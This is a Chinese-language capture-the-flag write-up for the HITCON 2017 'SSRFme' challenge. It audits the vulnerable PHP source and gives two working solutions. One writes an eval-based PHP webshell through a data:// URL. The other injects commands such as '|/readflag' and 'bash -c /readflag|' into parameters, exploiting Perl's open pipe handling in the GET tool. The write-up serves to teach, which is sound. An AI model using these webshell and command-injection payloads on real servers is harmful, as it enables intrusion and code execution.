HITCON2017-SSRFme

  1. 解法一 SSRF&file伪协议
  2. 解法二 perl语言漏洞

首先先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
192.168.122.15 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

开始代码审计

1
2
3
4
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

这段代码首先检查$_SERVER[‘HTTP_X_FORWARDED_FOR’]是否存在,如果存在,则认为这是一个代理IP。然后,它使用explode函数将代理IP字符串(可能是由多个IP组成的,由逗号分隔)分割成数组,并取第一个IP作为$_SERVER[‘REMOTE_ADDR’]的值。这通常用于在反向代理环境中获取原始客户端的IP地址.

echo $_SERVER[“REMOTE_ADDR”]

输出客户端的ip地址.


1
2
3
$sandbox = "sndbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);  
@mkdir($sandbox);
@chdir($sandbox);

这里首先根据客户端的IP地址(已经过MD5哈希处理,并附加了”orange”字符串)创建一个沙盒目录名称。然后,使用@mkdir(@用于抑制错误消息)尝试创建这个目录。如果目录成功创建,使用@chdir切换到这个目录.


1
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

将执行shell_exec里面的内容(用GET方法去请求url),并赋值给$data.


1
2
3
4
5
$info = pathinfo($_GET["filename"]);  
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);

通过pathinfo函数解析$_GET[“filename”],获取其中的目录和文件名,然后,尝试创建一个新的目录(基于目录名,并移除所有点),并切换到该目录中,最后,使用file_put_contents函数尝试将文件保存到目录中,文件名基于$_GET[“filename”]中的基本文件名.

就是要传入一个url参数和一个filename参数,url参数会被执行get请求,得到后的内容会被写入到 sandbox/md5(orange.ip)/filename 目录下.


先去phpstorm中计算出sandbox的值

1
2
3
4
5
<?php
$sandbox = "sandbox/" . md5("orange" . "192.168.122.15");
echo $sandbox;

#sandbox/50d5f583d8a911dde39156ba3f03c3d5

首先我们传入

1
2
3
http://e1db78c9-d10f-45ac-827c-9c60acc78a97.node5.buuoj.cn/?url=/&filename=1

这里将根目录下的信息写到文件1

访问

1
http://e1db78c9-d10f-45ac-827c-9c60acc78a97.node5.buuoj.cn/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1

可以看到根目录下存在一个flag文件和readflag文件


解法一 SSRF&file伪协议

构造一个webshell去读取flag,既然这里能执行GET请求并且将响应内容写到文件中,我们可以使用data伪协议来创建一个webshell

1
url=data://text/plain,<?php @eval($_POST[1]);?>&filename=1.php

然后用蚁剑连接

1
http://e1db78c9-d10f-45ac-827c-9c60acc78a97.node5.buuoj.cn/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php

连接成功后点开flag,发现里面是空的,而readflag点开是乱码,推测需要执行

在根目录下打开终端,执行

1
/readflag

得到flag


解法二 perl语言漏洞

因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行.

首先我们先创建一个同名文件

1
http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/?url=&filename=|/readflag

然后执行命令

1
http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/?url=file:|/readflag&filename=1

最后访问我们写入了执行结果的文件

1
http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/sandbox/e51a046f7f8d8c6a6ff47114cd2cd296/1

或者

2、GET函数底层就是调用了open处理,open函数支持file协议; 可以利用base -c "cmd"进行命令执行
先创建文件bash -c /readflag|

1
?url=&filename=bash -c /readflag|

创建文件后,再通过file协议,将读取的flag放入$data中,通过file_put_contents导入a中。

1
?url=file:bash -c /readflag|&filename=a

然后访问a即可

1
sandbox/50d5f583d8a911dde39156ba3f03c3d5/a

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github